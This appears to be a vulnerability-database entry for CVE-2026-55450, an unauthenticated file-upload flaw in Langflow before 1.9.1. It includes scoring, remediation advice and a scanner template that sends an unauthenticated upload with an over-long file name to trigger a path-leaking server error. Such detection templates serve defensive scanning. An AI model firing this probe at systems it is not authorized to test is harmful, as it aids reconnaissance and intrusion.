Langflow < 1.9.1 - Unauthenticated File Upload
CVE-2026-55450
Verified
Description
Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
Severity
Critical
CVSS Score
9.3
Exploit Probability
12%
Published Date
July 13, 2026
Template Author
xtr0nix
CVE-2026-55450.yaml
id: CVE-2026-55450
info:
name: Langflow < 1.9.1 - Unauthenticated File Upload
author: xtr0nix
severity: critical
description: |
Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
impact: |
Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
remediation: |
Update to version 1.9.1 or later.
reference:
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
cvss-score: 9.3
cve-id: CVE-2026-55450
epss-score: 0.11819
epss-percentile: 0.95666
cwe-id: CWE-306,CWE-400,CWE-200
metadata:
verified: true
max-request: 1
tags: cve,cve2026,langflow,unauth,intrusive
http:
- method: POST
path:
- "{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111"
body: |
--boundary
Content-Disposition: form-data; name="file"; filename="x.{{repeat('a', 300)}}"
Content-Type: text/plain
probe
--boundary--
headers:
Content-Type: multipart/form-data; boundary=boundary
matchers:
- type: dsl
dsl:
- status_code == 500
- contains(body, "[Errno 36] File name too long")
- contains(content_type, "application/json")
condition: and
# digest: 4b0a00483046022100d522e05ee83d11b091c7b41bdb24ec49ae5088a47e097d685bfd04cbe4e15c62022100a6912e59c998e4311b026caf5609016d0c5dd31d3403f2b51b0a066d93073fa4:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
CVE ID:
cve-2026-55450
CWE ID:
cwe-306, cwe-400, cwe-200
Remediation Steps
Update to version 1.9.1 or later.